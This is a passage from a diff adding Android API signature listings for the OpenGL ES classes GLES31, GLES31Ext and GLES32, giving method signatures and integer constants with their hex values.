+    field public static final int GL_UNIFORM_BLOCK = 37602; // 0x92e2
+    field public static final int GL_UNSIGNED_INT_ATOMIC_COUNTER = 37595; // 0x92db
+    field public static final int GL_UNSIGNED_INT_IMAGE_2D = 36963; // 0x9063
+    field public static final int GL_UNSIGNED_INT_IMAGE_2D_ARRAY = 36969; // 0x9069
+    field public static final int GL_UNSIGNED_INT_IMAGE_3D = 36964; // 0x9064
+    field public static final int GL_UNSIGNED_INT_IMAGE_CUBE = 36966; // 0x9066
+    field public static final int GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE = 37130; // 0x910a
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_BARRIER_BIT = 1; // 0x1
+    field public static final int GL_VERTEX_ATTRIB_BINDING = 33492; // 0x82d4
+    field public static final int GL_VERTEX_ATTRIB_RELATIVE_OFFSET = 33493; // 0x82d5
+    field public static final int GL_VERTEX_BINDING_BUFFER = 36687; // 0x8f4f
+    field public static final int GL_VERTEX_BINDING_DIVISOR = 33494; // 0x82d6
+    field public static final int GL_VERTEX_BINDING_OFFSET = 33495; // 0x82d7
+    field public static final int GL_VERTEX_BINDING_STRIDE = 33496; // 0x82d8
+    field public static final int GL_VERTEX_SHADER_BIT = 1; // 0x1
+    field public static final int GL_WRITE_ONLY = 35001; // 0x88b9
+  }
+
+  public class GLES31Ext {
+    method public static void glBlendBarrierKHR();
+    method public static void glBlendEquationSeparateiEXT(int, int, int);
+    method public static void glBlendEquationiEXT(int, int);
+    method public static void glBlendFuncSeparateiEXT(int, int, int, int, int);
+    method public static void glBlendFunciEXT(int, int, int);
+    method public static void glColorMaskiEXT(int, boolean, boolean, boolean, boolean);
+    method public static void glCopyImageSubDataEXT(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int);
+    method public static void glDebugMessageCallbackKHR(android.opengl.GLES31Ext.DebugProcKHR);
+    method public static void glDebugMessageControlKHR(int, int, int, int, int[], int, boolean);
+    method public static void glDebugMessageControlKHR(int, int, int, int, java.nio.IntBuffer, boolean);
+    method public static void glDebugMessageInsertKHR(int, int, int, int, String);
+    method public static void glDisableiEXT(int, int);
+    method public static void glEnableiEXT(int, int);
+    method public static void glFramebufferTextureEXT(int, int, int, int);
+    method public static android.opengl.GLES31Ext.DebugProcKHR glGetDebugMessageCallbackKHR();
+    method public static int glGetDebugMessageLogKHR(int, int, int[], int, int[], int, int[], int, int[], int, int[], int, byte[], int);
+    method public static int glGetDebugMessageLogKHR(int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.ByteBuffer);
+    method public static String[] glGetDebugMessageLogKHR(int, int[], int, int[], int, int[], int, int[], int);
+    method public static String[] glGetDebugMessageLogKHR(int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static String glGetObjectLabelKHR(int, int);
+    method public static String glGetObjectPtrLabelKHR(long);
+    method public static void glGetSamplerParameterIivEXT(int, int, int[], int);
+    method public static void glGetSamplerParameterIivEXT(int, int, java.nio.IntBuffer);
+    method public static void glGetSamplerParameterIuivEXT(int, int, int[], int);
+    method public static void glGetSamplerParameterIuivEXT(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterIivEXT(int, int, int[], int);
+    method public static void glGetTexParameterIivEXT(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterIuivEXT(int, int, int[], int);
+    method public static void glGetTexParameterIuivEXT(int, int, java.nio.IntBuffer);
+    method public static boolean glIsEnablediEXT(int, int);
+    method public static void glMinSampleShadingOES(float);
+    method public static void glObjectLabelKHR(int, int, int, String);
+    method public static void glObjectPtrLabelKHR(long, String);
+    method public static void glPatchParameteriEXT(int, int);
+    method public static void glPopDebugGroupKHR();
+    method public static void glPrimitiveBoundingBoxEXT(float, float, float, float, float, float, float, float);
+    method public static void glPushDebugGroupKHR(int, int, int, String);
+    method public static void glSamplerParameterIivEXT(int, int, int[], int);
+    method public static void glSamplerParameterIivEXT(int, int, java.nio.IntBuffer);
+    method public static void glSamplerParameterIuivEXT(int, int, int[], int);
+    method public static void glSamplerParameterIuivEXT(int, int, java.nio.IntBuffer);
+    method public static void glTexBufferEXT(int, int, int);
+    method public static void glTexBufferRangeEXT(int, int, int, int, int);
+    method public static void glTexParameterIivEXT(int, int, int[], int);
+    method public static void glTexParameterIivEXT(int, int, java.nio.IntBuffer);
+    method public static void glTexParameterIuivEXT(int, int, int[], int);
+    method public static void glTexParameterIuivEXT(int, int, java.nio.IntBuffer);
+    method public static void glTexStorage3DMultisampleOES(int, int, int, int, int, int, boolean);
+    field public static final int GL_BLEND_ADVANCED_COHERENT_KHR = 37509; // 0x9285
+    field public static final int GL_BUFFER_KHR = 33504; // 0x82e0
+    field public static final int GL_CLAMP_TO_BORDER_EXT = 33069; // 0x812d
+    field public static final int GL_COLORBURN_KHR = 37530; // 0x929a
+    field public static final int GL_COLORDODGE_KHR = 37529; // 0x9299
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x10_KHR = 37819; // 0x93bb
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x5_KHR = 37816; // 0x93b8
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x6_KHR = 37817; // 0x93b9
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x8_KHR = 37818; // 0x93ba
+    field public static final int GL_COMPRESSED_RGBA_ASTC_12x10_KHR = 37820; // 0x93bc
+    field public static final int GL_COMPRESSED_RGBA_ASTC_12x12_KHR = 37821; // 0x93bd
+    field public static final int GL_COMPRESSED_RGBA_ASTC_4x4_KHR = 37808; // 0x93b0
+    field public static final int GL_COMPRESSED_RGBA_ASTC_5x4_KHR = 37809; // 0x93b1
+    field public static final int GL_COMPRESSED_RGBA_ASTC_5x5_KHR = 37810; // 0x93b2
+    field public static final int GL_COMPRESSED_RGBA_ASTC_6x5_KHR = 37811; // 0x93b3
+    field public static final int GL_COMPRESSED_RGBA_ASTC_6x6_KHR = 37812; // 0x93b4
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x5_KHR = 37813; // 0x93b5
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x6_KHR = 37814; // 0x93b6
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x8_KHR = 37815; // 0x93b7
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR = 37851; // 0x93db
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR = 37848; // 0x93d8
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR = 37849; // 0x93d9
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x8_KHR = 37850; // 0x93da
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR = 37852; // 0x93dc
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR = 37853; // 0x93dd
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR = 37840; // 0x93d0
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR = 37841; // 0x93d1
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR = 37842; // 0x93d2
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR = 37843; // 0x93d3
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR = 37844; // 0x93d4
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR = 37845; // 0x93d5
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR = 37846; // 0x93d6
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR = 37847; // 0x93d7
+    field public static final int GL_CONTEXT_FLAG_DEBUG_BIT_KHR = 2; // 0x2
+    field public static final int GL_DARKEN_KHR = 37527; // 0x9297
+    field public static final int GL_DEBUG_CALLBACK_FUNCTION_KHR = 33348; // 0x8244
+    field public static final int GL_DEBUG_CALLBACK_USER_PARAM_KHR = 33349; // 0x8245
+    field public static final int GL_DEBUG_GROUP_STACK_DEPTH_KHR = 33389; // 0x826d
+    field public static final int GL_DEBUG_LOGGED_MESSAGES_KHR = 37189; // 0x9145
+    field public static final int GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH_KHR = 33347; // 0x8243
+    field public static final int GL_DEBUG_OUTPUT_KHR = 37600; // 0x92e0
+    field public static final int GL_DEBUG_OUTPUT_SYNCHRONOUS_KHR = 33346; // 0x8242
+    field public static final int GL_DEBUG_SEVERITY_HIGH_KHR = 37190; // 0x9146
+    field public static final int GL_DEBUG_SEVERITY_LOW_KHR = 37192; // 0x9148
+    field public static final int GL_DEBUG_SEVERITY_MEDIUM_KHR = 37191; // 0x9147
+    field public static final int GL_DEBUG_SEVERITY_NOTIFICATION_KHR = 33387; // 0x826b
+    field public static final int GL_DEBUG_SOURCE_API_KHR = 33350; // 0x8246
+    field public static final int GL_DEBUG_SOURCE_APPLICATION_KHR = 33354; // 0x824a
+    field public static final int GL_DEBUG_SOURCE_OTHER_KHR = 33355; // 0x824b
+    field public static final int GL_DEBUG_SOURCE_SHADER_COMPILER_KHR = 33352; // 0x8248
+    field public static final int GL_DEBUG_SOURCE_THIRD_PARTY_KHR = 33353; // 0x8249
+    field public static final int GL_DEBUG_SOURCE_WINDOW_SYSTEM_KHR = 33351; // 0x8247
+    field public static final int GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR_KHR = 33357; // 0x824d
+    field public static final int GL_DEBUG_TYPE_ERROR_KHR = 33356; // 0x824c
+    field public static final int GL_DEBUG_TYPE_MARKER_KHR = 33384; // 0x8268
+    field public static final int GL_DEBUG_TYPE_OTHER_KHR = 33361; // 0x8251
+    field public static final int GL_DEBUG_TYPE_PERFORMANCE_KHR = 33360; // 0x8250
+    field public static final int GL_DEBUG_TYPE_POP_GROUP_KHR = 33386; // 0x826a
+    field public static final int GL_DEBUG_TYPE_PORTABILITY_KHR = 33359; // 0x824f
+    field public static final int GL_DEBUG_TYPE_PUSH_GROUP_KHR = 33385; // 0x8269
+    field public static final int GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR_KHR = 33358; // 0x824e
+    field public static final int GL_DECODE_EXT = 35401; // 0x8a49
+    field public static final int GL_DIFFERENCE_KHR = 37534; // 0x929e
+    field public static final int GL_EXCLUSION_KHR = 37536; // 0x92a0
+    field public static final int GL_FIRST_VERTEX_CONVENTION_EXT = 36429; // 0x8e4d
+    field public static final int GL_FRACTIONAL_EVEN_EXT = 36476; // 0x8e7c
+    field public static final int GL_FRACTIONAL_ODD_EXT = 36475; // 0x8e7b
+    field public static final int GL_FRAGMENT_INTERPOLATION_OFFSET_BITS_OES = 36445; // 0x8e5d
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_LAYERED_EXT = 36263; // 0x8da7
+    field public static final int GL_FRAMEBUFFER_DEFAULT_LAYERS_EXT = 37650; // 0x9312
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_EXT = 36264; // 0x8da8
+    field public static final int GL_GEOMETRY_LINKED_INPUT_TYPE_EXT = 35095; // 0x8917
+    field public static final int GL_GEOMETRY_LINKED_OUTPUT_TYPE_EXT = 35096; // 0x8918
+    field public static final int GL_GEOMETRY_LINKED_VERTICES_OUT_EXT = 35094; // 0x8916
+    field public static final int GL_GEOMETRY_SHADER_BIT_EXT = 4; // 0x4
+    field public static final int GL_GEOMETRY_SHADER_EXT = 36313; // 0x8dd9
+    field public static final int GL_GEOMETRY_SHADER_INVOCATIONS_EXT = 34943; // 0x887f
+    field public static final int GL_HARDLIGHT_KHR = 37531; // 0x929b
+    field public static final int GL_HSL_COLOR_KHR = 37551; // 0x92af
+    field public static final int GL_HSL_HUE_KHR = 37549; // 0x92ad
+    field public static final int GL_HSL_LUMINOSITY_KHR = 37552; // 0x92b0
+    field public static final int GL_HSL_SATURATION_KHR = 37550; // 0x92ae
+    field public static final int GL_IMAGE_BUFFER_EXT = 36945; // 0x9051
+    field public static final int GL_IMAGE_CUBE_MAP_ARRAY_EXT = 36948; // 0x9054
+    field public static final int GL_INT_IMAGE_BUFFER_EXT = 36956; // 0x905c
+    field public static final int GL_INT_IMAGE_CUBE_MAP_ARRAY_EXT = 36959; // 0x905f
+    field public static final int GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY_OES = 37132; // 0x910c
+    field public static final int GL_INT_SAMPLER_BUFFER_EXT = 36304; // 0x8dd0
+    field public static final int GL_INT_SAMPLER_CUBE_MAP_ARRAY_EXT = 36878; // 0x900e
+    field public static final int GL_ISOLINES_EXT = 36474; // 0x8e7a
+    field public static final int GL_IS_PER_PATCH_EXT = 37607; // 0x92e7
+    field public static final int GL_LAST_VERTEX_CONVENTION_EXT = 36430; // 0x8e4e
+    field public static final int GL_LAYER_PROVOKING_VERTEX_EXT = 33374; // 0x825e
+    field public static final int GL_LIGHTEN_KHR = 37528; // 0x9298
+    field public static final int GL_LINES_ADJACENCY_EXT = 10; // 0xa
+    field public static final int GL_LINE_STRIP_ADJACENCY_EXT = 11; // 0xb
+    field public static final int GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS_EXT = 35378; // 0x8a32
+    field public static final int GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS_EXT = 36382; // 0x8e1e
+    field public static final int GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS_EXT = 36383; // 0x8e1f
+    field public static final int GL_MAX_DEBUG_GROUP_STACK_DEPTH_KHR = 33388; // 0x826c
+    field public static final int GL_MAX_DEBUG_LOGGED_MESSAGES_KHR = 37188; // 0x9144
+    field public static final int GL_MAX_DEBUG_MESSAGE_LENGTH_KHR = 37187; // 0x9143
+    field public static final int GL_MAX_FRAGMENT_INTERPOLATION_OFFSET_OES = 36444; // 0x8e5c
+    field public static final int GL_MAX_FRAMEBUFFER_LAYERS_EXT = 37655; // 0x9317
+    field public static final int GL_MAX_GEOMETRY_ATOMIC_COUNTERS_EXT = 37589; // 0x92d5
+    field public static final int GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS_EXT = 37583; // 0x92cf
+    field public static final int GL_MAX_GEOMETRY_IMAGE_UNIFORMS_EXT = 37069; // 0x90cd
+    field public static final int GL_MAX_GEOMETRY_INPUT_COMPONENTS_EXT = 37155; // 0x9123
+    field public static final int GL_MAX_GEOMETRY_OUTPUT_COMPONENTS_EXT = 37156; // 0x9124
+    field public static final int GL_MAX_GEOMETRY_OUTPUT_VERTICES_EXT = 36320; // 0x8de0
+    field public static final int GL_MAX_GEOMETRY_SHADER_INVOCATIONS_EXT = 36442; // 0x8e5a
+    field public static final int GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS_EXT = 37079; // 0x90d7
+    field public static final int GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_EXT = 35881; // 0x8c29
+    field public static final int GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS_EXT = 36321; // 0x8de1
+    field public static final int GL_MAX_GEOMETRY_UNIFORM_BLOCKS_EXT = 35372; // 0x8a2c
+    field public static final int GL_MAX_GEOMETRY_UNIFORM_COMPONENTS_EXT = 36319; // 0x8ddf
+    field public static final int GL_MAX_LABEL_LENGTH_KHR = 33512; // 0x82e8
+    field public static final int GL_MAX_PATCH_VERTICES_EXT = 36477; // 0x8e7d
+    field public static final int GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS_EXT = 37587; // 0x92d3
+    field public static final int GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS_EXT = 37581; // 0x92cd
+    field public static final int GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS_EXT = 37067; // 0x90cb
+    field public static final int GL_MAX_TESS_CONTROL_INPUT_COMPONENTS_EXT = 34924; // 0x886c
+    field public static final int GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS_EXT = 36483; // 0x8e83
+    field public static final int GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS_EXT = 37080; // 0x90d8
+    field public static final int GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS_EXT = 36481; // 0x8e81
+    field public static final int GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS_EXT = 36485; // 0x8e85
+    field public static final int GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS_EXT = 36489; // 0x8e89
+    field public static final int GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS_EXT = 36479; // 0x8e7f
+    field public static final int GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS_EXT = 37588; // 0x92d4
+    field public static final int GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS_EXT = 37582; // 0x92ce
+    field public static final int GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS_EXT = 37068; // 0x90cc
+    field public static final int GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS_EXT = 34925; // 0x886d
+    field public static final int GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS_EXT = 36486; // 0x8e86
+    field public static final int GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS_EXT = 37081; // 0x90d9
+    field public static final int GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS_EXT = 36482; // 0x8e82
+    field public static final int GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS_EXT = 36490; // 0x8e8a
+    field public static final int GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS_EXT = 36480; // 0x8e80
+    field public static final int GL_MAX_TESS_GEN_LEVEL_EXT = 36478; // 0x8e7e
+    field public static final int GL_MAX_TESS_PATCH_COMPONENTS_EXT = 36484; // 0x8e84
+    field public static final int GL_MAX_TEXTURE_BUFFER_SIZE_EXT = 35883; // 0x8c2b
+    field public static final int GL_MIN_FRAGMENT_INTERPOLATION_OFFSET_OES = 36443; // 0x8e5b
+    field public static final int GL_MIN_SAMPLE_SHADING_VALUE_OES = 35895; // 0x8c37
+    field public static final int GL_MULTIPLY_KHR = 37524; // 0x9294
+    field public static final int GL_OVERLAY_KHR = 37526; // 0x9296
+    field public static final int GL_PATCHES_EXT = 14; // 0xe
+    field public static final int GL_PATCH_VERTICES_EXT = 36466; // 0x8e72
+    field public static final int GL_PRIMITIVES_GENERATED_EXT = 35975; // 0x8c87
+    field public static final int GL_PRIMITIVE_BOUNDING_BOX_EXT = 37566; // 0x92be
+    field public static final int GL_PRIMITIVE_RESTART_FOR_PATCHES_SUPPORTED = 33313; // 0x8221
+    field public static final int GL_PROGRAM_KHR = 33506; // 0x82e2
+    field public static final int GL_QUADS_EXT = 7; // 0x7
+    field public static final int GL_QUERY_KHR = 33507; // 0x82e3
+    field public static final int GL_REFERENCED_BY_GEOMETRY_SHADER_EXT = 37641; // 0x9309
+    field public static final int GL_REFERENCED_BY_TESS_CONTROL_SHADER_EXT = 37639; // 0x9307
+    field public static final int GL_REFERENCED_BY_TESS_EVALUATION_SHADER_EXT = 37640; // 0x9308
+    field public static final int GL_SAMPLER_2D_MULTISAMPLE_ARRAY_OES = 37131; // 0x910b
+    field public static final int GL_SAMPLER_BUFFER_EXT = 36290; // 0x8dc2
+    field public static final int GL_SAMPLER_CUBE_MAP_ARRAY_EXT = 36876; // 0x900c
+    field public static final int GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW_EXT = 36877; // 0x900d
+    field public static final int GL_SAMPLER_KHR = 33510; // 0x82e6
+    field public static final int GL_SAMPLE_SHADING_OES = 35894; // 0x8c36
+    field public static final int GL_SCREEN_KHR = 37525; // 0x9295
+    field public static final int GL_SHADER_KHR = 33505; // 0x82e1
+    field public static final int GL_SKIP_DECODE_EXT = 35402; // 0x8a4a
+    field public static final int GL_SOFTLIGHT_KHR = 37532; // 0x929c
+    field public static final int GL_STACK_OVERFLOW_KHR = 1283; // 0x503
+    field public static final int GL_STACK_UNDERFLOW_KHR = 1284; // 0x504
+    field public static final int GL_STENCIL_INDEX8_OES = 36168; // 0x8d48
+    field public static final int GL_STENCIL_INDEX_OES = 6401; // 0x1901
+    field public static final int GL_TESS_CONTROL_OUTPUT_VERTICES_EXT = 36469; // 0x8e75
+    field public static final int GL_TESS_CONTROL_SHADER_BIT_EXT = 8; // 0x8
+    field public static final int GL_TESS_CONTROL_SHADER_EXT = 36488; // 0x8e88
+    field public static final int GL_TESS_EVALUATION_SHADER_BIT_EXT = 16; // 0x10
+    field public static final int GL_TESS_EVALUATION_SHADER_EXT = 36487; // 0x8e87
+    field public static final int GL_TESS_GEN_MODE_EXT = 36470; // 0x8e76
+    field public static final int GL_TESS_GEN_POINT_MODE_EXT = 36473; // 0x8e79
+    field public static final int GL_TESS_GEN_SPACING_EXT = 36471; // 0x8e77
+    field public static final int GL_TESS_GEN_VERTEX_ORDER_EXT = 36472; // 0x8e78
+    field public static final int GL_TEXTURE_2D_MULTISAMPLE_ARRAY_OES = 37122; // 0x9102
+    field public static final int GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY_OES = 37125; // 0x9105
+    field public static final int GL_TEXTURE_BINDING_BUFFER_EXT = 35884; // 0x8c2c
+    field public static final int GL_TEXTURE_BINDING_CUBE_MAP_ARRAY_EXT = 36874; // 0x900a
+    field public static final int GL_TEXTURE_BORDER_COLOR_EXT = 4100; // 0x1004
+    field public static final int GL_TEXTURE_BUFFER_BINDING_EXT = 35882; // 0x8c2a
+    field public static final int GL_TEXTURE_BUFFER_DATA_STORE_BINDING_EXT = 35885; // 0x8c2d
+    field public static final int GL_TEXTURE_BUFFER_EXT = 35882; // 0x8c2a
+    field public static final int GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT_EXT = 37279; // 0x919f
+    field public static final int GL_TEXTURE_BUFFER_OFFSET_EXT = 37277; // 0x919d
+    field public static final int GL_TEXTURE_BUFFER_SIZE_EXT = 37278; // 0x919e
+    field public static final int GL_TEXTURE_CUBE_MAP_ARRAY_EXT = 36873; // 0x9009
+    field public static final int GL_TEXTURE_SRGB_DECODE_EXT = 35400; // 0x8a48
+    field public static final int GL_TRIANGLES_ADJACENCY_EXT = 12; // 0xc
+    field public static final int GL_TRIANGLE_STRIP_ADJACENCY_EXT = 13; // 0xd
+    field public static final int GL_UNDEFINED_VERTEX_EXT = 33376; // 0x8260
+    field public static final int GL_UNSIGNED_INT_IMAGE_BUFFER_EXT = 36967; // 0x9067
+    field public static final int GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY_EXT = 36970; // 0x906a
+    field public static final int GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY_OES = 37133; // 0x910d
+    field public static final int GL_UNSIGNED_INT_SAMPLER_BUFFER_EXT = 36312; // 0x8dd8
+    field public static final int GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY_EXT = 36879; // 0x900f
+    field public static final int GL_VERTEX_ARRAY_KHR = 32884; // 0x8074
+  }
+
+  public static interface GLES31Ext.DebugProcKHR {
+    method public void onMessage(int, int, int, int, String);
+  }
+
+  public class GLES32 extends android.opengl.GLES31 {
+    method public static void glBlendBarrier();
+    method public static void glBlendEquationSeparatei(int, int, int);
+    method public static void glBlendEquationi(int, int);
+    method public static void glBlendFuncSeparatei(int, int, int, int, int);
+    method public static void glBlendFunci(int, int, int);
+    method public static void glColorMaski(int, boolean, boolean, boolean, boolean);
+    method public static void glCopyImageSubData(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int);
+    method public static void glDebugMessageCallback(android.opengl.GLES32.DebugProc);
+    method public static void glDebugMessageControl(int, int, int, int, int[], int, boolean);
+    method public static void glDebugMessageControl(int, int, int, int, java.nio.IntBuffer, boolean);
+    method public static void glDebugMessageInsert(int, int, int, int, int, String);
+    method public static void glDisablei(int, int);
+    method public static void glDrawElementsBaseVertex(int, int, int, java.nio.Buffer, int);
+    method public static void glDrawElementsInstancedBaseVertex(int, int, int, java.nio.Buffer, int, int);
+    method public static void glDrawElementsInstancedBaseVertex(int, int, int, int, int, int);
+    method public static void glDrawRangeElementsBaseVertex(int, int, int, int, int, java.nio.Buffer, int);
+    method public static void glEnablei(int, int);
+    method public static void glFramebufferTexture(int, int, int, int);
+    method public static int glGetDebugMessageLog(int, int, int[], int, int[], int, int[], int, int[], int, int[], int, byte[], int);
+    method public static int glGetDebugMessageLog(int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.ByteBuffer);
+    method public static String[] glGetDebugMessageLog(int, int[], int, int[], int, int[], int, int[], int);
+    method public static String[] glGetDebugMessageLog(int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static int glGetGraphicsResetStatus();
+    method public static String glGetObjectLabel(int, int);
+    method public static String glGetObjectPtrLabel(long);
+    method public static long glGetPointerv(int);
+    method public static void glGetSamplerParameterIiv(int, int, int[], int);
+    method public static void glGetSamplerParameterIiv(int, int, java.nio.IntBuffer);
+    method public static void glGetSamplerParameterIuiv(int, int, int[], int);
+    method public static void glGetSamplerParameterIuiv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterIiv(int, int, int[], int);
+    method public static void glGetTexParameterIiv(int, int, java.nio.IntBuffer);
+    method public static void glGetTexParameterIuiv(int, int, int[], int);
+    method public static void glGetTexParameterIuiv(int, int, java.nio.IntBuffer);
+    method public static void glGetnUniformfv(int, int, int, float[], int);
+    method public static void glGetnUniformfv(int, int, int, java.nio.FloatBuffer);
+    method public static void glGetnUniformiv(int, int, int, int[], int);
+    method public static void glGetnUniformiv(int, int, int, java.nio.IntBuffer);
+    method public static void glGetnUniformuiv(int, int, int, int[], int);
+    method public static void glGetnUniformuiv(int, int, int, java.nio.IntBuffer);
+    method public static boolean glIsEnabledi(int, int);
+    method public static void glMinSampleShading(float);
+    method public static void glObjectLabel(int, int, int, String);
+    method public static void glObjectPtrLabel(long, String);
+    method public static void glPatchParameteri(int, int);
+    method public static void glPopDebugGroup();
+    method public static void glPrimitiveBoundingBox(float, float, float, float, float, float, float, float);
+    method public static void glPushDebugGroup(int, int, int, String);
+    method public static void glReadnPixels(int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glSamplerParameterIiv(int, int, int[], int);
+    method public static void glSamplerParameterIiv(int, int, java.nio.IntBuffer);
+    method public static void glSamplerParameterIuiv(int, int, int[], int);
+    method public static void glSamplerParameterIuiv(int, int, java.nio.IntBuffer);
+    method public static void glTexBuffer(int, int, int);
+    method public static void glTexBufferRange(int, int, int, int, int);
+    method public static void glTexParameterIiv(int, int, int[], int);
+    method public static void glTexParameterIiv(int, int, java.nio.IntBuffer);
+    method public static void glTexParameterIuiv(int, int, int[], int);
+    method public static void glTexParameterIuiv(int, int, java.nio.IntBuffer);
+    method public static void glTexStorage3DMultisample(int, int, int, int, int, int, boolean);
+    field public static final int GL_BUFFER = 33504; // 0x82e0
+    field public static final int GL_CLAMP_TO_BORDER = 33069; // 0x812d
+    field public static final int GL_COLORBURN = 37530; // 0x929a
+    field public static final int GL_COLORDODGE = 37529; // 0x9299
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x10 = 37819; // 0x93bb
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x5 = 37816; // 0x93b8
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x6 = 37817; // 0x93b9
+    field public static final int GL_COMPRESSED_RGBA_ASTC_10x8 = 37818; // 0x93ba
+    field public static final int GL_COMPRESSED_RGBA_ASTC_12x10 = 37820; // 0x93bc
+    field public static final int GL_COMPRESSED_RGBA_ASTC_12x12 = 37821; // 0x93bd
+    field public static final int GL_COMPRESSED_RGBA_ASTC_4x4 = 37808; // 0x93b0
+    field public static final int GL_COMPRESSED_RGBA_ASTC_5x4 = 37809; // 0x93b1
+    field public static final int GL_COMPRESSED_RGBA_ASTC_5x5 = 37810; // 0x93b2
+    field public static final int GL_COMPRESSED_RGBA_ASTC_6x5 = 37811; // 0x93b3
+    field public static final int GL_COMPRESSED_RGBA_ASTC_6x6 = 37812; // 0x93b4
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x5 = 37813; // 0x93b5
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x6 = 37814; // 0x93b6
+    field public static final int GL_COMPRESSED_RGBA_ASTC_8x8 = 37815; // 0x93b7
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x10 = 37851; // 0x93db
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x5 = 37848; // 0x93d8
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x6 = 37849; // 0x93d9
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x8 = 37850; // 0x93da
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x10 = 37852; // 0x93dc
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x12 = 37853; // 0x93dd
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4 = 37840; // 0x93d0
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4 = 37841; // 0x93d1
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5 = 37842; // 0x93d2
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5 = 37843; // 0x93d3
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6 = 37844; // 0x93d4
